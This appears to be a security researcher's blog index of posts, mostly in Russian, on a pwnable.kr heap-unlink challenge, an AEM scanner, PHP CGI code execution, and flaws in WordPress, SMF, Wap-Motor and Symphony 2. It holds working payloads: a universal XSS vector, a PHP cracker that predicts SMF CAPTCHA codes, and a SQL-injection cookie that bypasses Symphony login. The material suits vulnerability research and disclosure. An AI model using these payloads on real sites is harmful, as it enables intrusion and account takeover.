Categories
Writeups

Writeup: pwnable.kr “unlink”

Pretty easy task from pwnable.kr but took me waaay too long.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}

We’ve got here three structures allocated on the heap, which are doubly-linked in a ptalloc fashion where a chunk’s header contains a pointer to the previous chunk and to the next one. There is also an obvious overflow which presumably would allow us to corrupt these structures. At the start of the program an address from the heap and one from the stack are leaked which is quite handy since the binary has got ASLR enabled.

Categories
Releases

Adobe Experience Manager Vulnerability Scanner

Adobe Experience Manager is content management system that is based on Apache Sling – a framework for RESTful web-applications based on an extensible content tree. Apache Sling in its turn is basically a REST API for Apache Jackrabbit, which is an implementation of Content Repository API for Java (JCR). The main principle of JCR is that everything is a resource. It means that any object in JCR repository can be retrieved in multiple ways depending on requested selector. E.g. if you make a request to /index.html you will get an HTML page, but if you replace .html with a .json selector you can get metadata of this resource:

{
  "jcr:primaryType":"cq:Page",
  "jcr:createdBy":"transport-user",
  "jcr:created":"Mon Jun 13 2018 22:09:46 GMT+0000"
}

AEM installations typically have lots of hidden gems (even password hashes) if selectors are improperly configured. aemscan helps to discover such weaknesses and much more:

  • Default credentials bruteforce
  • Info leak via default error page
  • WebDav support check (WebDav OSGI XXE CVE-2015-1833)
  • Version detection
  • Useful paths scanner

You can grab the source code from GitHub: https://github.com/Raz0r/aemscan. Pull requests are welcome!

Categories
Vulnerabilities

Выполнение произвольного кода на серверах с PHP CGI

Накануне был обнаружен, пожалуй, самый эпичный баг в истории PHP. Уязвимость позволяет атакующему выполнить произвольный код, используя лишь адресную строку браузера, на любом сервере, где PHP работает как CGI. Нашла уязвимость голландская команда Eindbazen, известная по своим выступлениям на различных CTF. Хронология событий:

Categories
Misc

Универсальный XSS-вектор

Поиск XSS довольно трудоемкое занятие, так как необходимо учитывать множество контекстов, в которых может выполниться js-код, например внутри одинарных или двойных кавычек, внутри различных атрибутов и т.д. Для тех, кому надоело перебирать возможные варианты, пригодится следующий универсальный xss-вектор, который выполнится в любом контексте, т.е. его можно поместить в любой параметр и не беспокоится о том, в какой участок кода он в конечном счете попадет:

javascript:/*--></marquee></script></title></textarea></noscript></style></xmp>">[img=1]<img -/style=-=expression&#40&#47;&#42;’/-/*&#39;,/**/eval(name)//&#41;;width:100%;height:100%;position:absolute;behavior:url(#default#VML);-o-link:javascript:eval(title);-o-link-source:current name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) background=javascript:eval(name)//>"

Размер немного великоват (428 байт), но это в любом случае более продуктивный вариант, чем "><script>alert()</script>.
Для удобного использования в Opera можно добавить данный вектор как заполнитель формы (Меню – Настройки – Общие настройки – Формы), для Firefox с плагином TamperData можно создать новый элемент контекстного меню для перехватываемых пакетов.

Credits: Gareth Heyes @ thespanner.co.uk

Categories
Reviews

Новые способы обхода WAF и PHP эксплоиты

Стефан Эссер снова порадовал очередной порцией свежей информации о новых уязвимостях в своих выступлениях сразу на двух мероприятиях (RSS09 и Powerofcommunity). В частности, он поделился интересными способами обхода таких WAF как mod_security и F5 BIGIP ASM, информацией о возможных уязвимостях в продуктах, работающих на Zend Framework, а также о том, как можно использовать уязвимость, связанной с прерываниями внутренних функций в PHP, несмотря на выпущенные фиксы. Итак, обо всем по порядку.

Categories
Vulnerabilities

SQL Column Truncation в WordPress

Вот и появился первый эксплоит для уязвимости SQL Column Truncation, о чем не так давно писал Стефан Эссер, специалист, обнаруживший данную уязвимость. Причем дыра найдена не в каком-нибудь малоизвестном движке, а в WordPress! Тем не менее повода для паники нет, так как уязвимость некритична: все что удастся нападающему – это сменить пароль администратору, но узнать его не получится. Кроме того, на атакуемом блоге должна быть включена опция регистрации пользователей.

PoC: http://milw0rm.com/exploits/6397

Также читайте мою статью, посвященную SQL Column Truncation.

Categories
Vulnerabilities

Уязвимости в Simple Machines Forum <= 1.1.5

Обнаружил уязвимость в Simple Machines Forum <= 1.1.5, связанную с предсказуемостью кода подтверждения для смены пароля, а также CAPTCHA в модуле регистрации. Оба механизма используют в своем алгоритме функцию rand(), о недостатках которой я писал в прошлой статье.

Сброс пароля администратора

SMF выявляет случайное число, сгенерированное с помощью rand(), в виде md5-хэша в самой форме восстановления пароля (hidden параметр sc):

<?php
$_SESSION['rand_code'] = md5(session_id() . rand());
$sc = $_SESSION['rand_code'];
?>

Активационный ключ генерируется следующим образом:

<?php
$password = substr(preg_replace('/\W/', '', md5(rand())), 0, 10);
?>

Так как максимальное значение случайного числа на win32 является 32767 и идентификатор сессии известен, то перебором md5-хэша можно получить случайное число. В win32 любое число, сгенерированное с помощью rand(), становится сидом для следующего числа, таким образом можно предугадать все последующие числа и вычислить активационный ключ.

http://milw0rm.com/exploits/6392

Вычисление кода CAPTCHA

SMF выявляет случайное число в модуле регистрации (ссылки на изображения с кодом CAPTCHA):

<?php
$context['verificiation_image_href'] = $scripturl . '?action=verificationcode;rand=' . md5(rand());
?>

Сам код CAPTCHA генерируется следующим образом:

<?php
$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
// Generate a new code.
$_SESSION['visual_verification_code'] = '';
for ($i = 0; $i < 5; $i++)
$_SESSION['visual_verification_code'] .= $character_range[array_rand($character_range)];
?>

Функция array_rand() использует внутренний вызов rand(), поэтому определив перебором предыдущее случайное число в ссылках, можно вычислить сам код (опять-таки актуально только для win32).

<?php

/**
 * Simple Machines Forum <= 1.1.5 CAPTCHA cracker (win32)
 * by Raz0r (http://Raz0r.name/)
 */

$url = "http://localhost/smf/";

$html = file_get_contents("{$url}index.php?action=register");
$out=array();
preg_match("@rand=([0-9a-f]+)@i",$html,$out);
if(isset($out[1])){
	$rand = bfmd5($out[1]);
	srand($rand);
	$character_range = array_merge(range('A', 'H'), array('K', 'M', 'N', 'P'), range('R', 'Z'));
	for ($i = 0; $i < 5; $i++) {
		echo $character_range[array_rand($character_range)];
	}
}

function bfmd5($md5) {
	for($i=0;$i<=32767;$i++){
		if($md5 == md5($i)) {
			return $i;
		}
	}
	return false;
}
?>
Categories
Articles

Предсказываем случайные числа в PHP

Стефан Эссер не перестает меня удивлять: в этот раз в своем блоге он рассказал об особенностях генерации случайных чисел в PHP, которые при особых условиях позволяют предугадывать случайные значения. Его находки открывают возможность для реализации совершенно новых атак – Cross Application Attacks, в основе которых лежит неправильное использование веб-приложениями функций для генерации случайных чисел. При этом одно веб-приложение, не имея полноценных уязвимостей, но обладающее погрешностью в вычислении случайных чисел, открывает дверь для реализации атаки на совершенно другое веб-приложение, находящееся на том же сервере. В качестве примера Стефан описал алгоритм проведения атаки на WordPress через дыру в phpBB2. Так как подтверждение его концепции в виде эксплоита отсутствует, я решил провести собственное исследование и написать рабочий PoC. После нескольких дней тестирования на локальном веб-сервере, я пришел к выводу, что уязвимость действительно имеет место, и ее эксплуатация вполне реальна. В результате мной был написан эксплоит для WordPress <= 2.6.1 посредством phpBB2, позволяющий сменить пароль администратора, не имея доступа к его почтовому ящику.

Categories
Vulnerabilities

LFI/RFI-уязвимости в Wap-Motor 17.5

Сайт разработчика: http://visavi.net/
Уязвимые версии: Wap-Motor 17.5, возможно более ранние версии

Описание: сценарий index.php подключает необходимые скрипты, первый из которых (template/start.php) извлекает данные в текущую символьную таблицу, допуская перезапись переменных:

<?php
extract($HTTP_GET_VARS);
extract($HTTP_POST_VARS);
extract($HTTP_COOKIE_VARS);
extract($HTTP_SERVER_VARS);
extract($HTTP_SESSION_VARS);
?>

На основе переменных $p и $f составляется строка, которая впоследствии передается в функцию include (index.php@48-56):

<?php
if(empty($f)){$f='index';}
echo $p.'/'.$f.'.'.$config_ras;
$sfx = file($p.'/'.$f.'.'.$config_ras);
if (!$sfx){
	echo 'Файл с данными параметрами не найден!';
}else{
	include_once $p.'/'.$f.'.'.$config_ras;
}
?>

Система предполагает получение переменных $p и $f со стороны пользователя, однако проверка данных проводится только в массиве $_GET (index.php@23):

<?php
if(eregi("[^a-z0-9_-]",$_GET['f']) || eregi("[^a-z0-9_-]",$_GET['p'])){header ("Location: index.php?error&".SID); exit;}
?>

При передаче параметров p и f в cookie или в POST-запросе существует возможность обхода фильтрации и внедрения произвольных данных в функцию include.

Categories
Vulnerabilities

Обход авторизации в Symphony 2 Beta

Сайт разработчика: http://21degrees.com.au/
Уязвимые версии: Symphony 2 Beta до revision 5
Уязвимый код в /symphony/lib/core/class.symphony.php@126-142:

<?php
public function isLoggedIn(){
  $un = $this->Cookie->get('username');
  $pw = $this->Cookie->get('pass');
  $id = $this->Database->fetchVar('id', 0, "SELECT `id` FROM `tbl_authors`
    WHERE `username` = '$un' AND `password` = '$pw' LIMIT 1");
  if($id){
    /* [...] */
  }
/* [...] */
}
?>

Описание: данные в переменных $un (username) и $pw (password) не проверяются должным образом перед извлечением из массива $_COOKIE, что ведет к SQL-инъекции, позволяющей обойти авторизацию пользователей и получить права администратора. Для удачного осуществления атаки magic_quotes_gpc=off не требуется, так как система убирает все дополнительные слэши сама.
Эксплоит: sym-[username]=%27+OR+1%3D1%2F%2A (необходимо передать в cookie)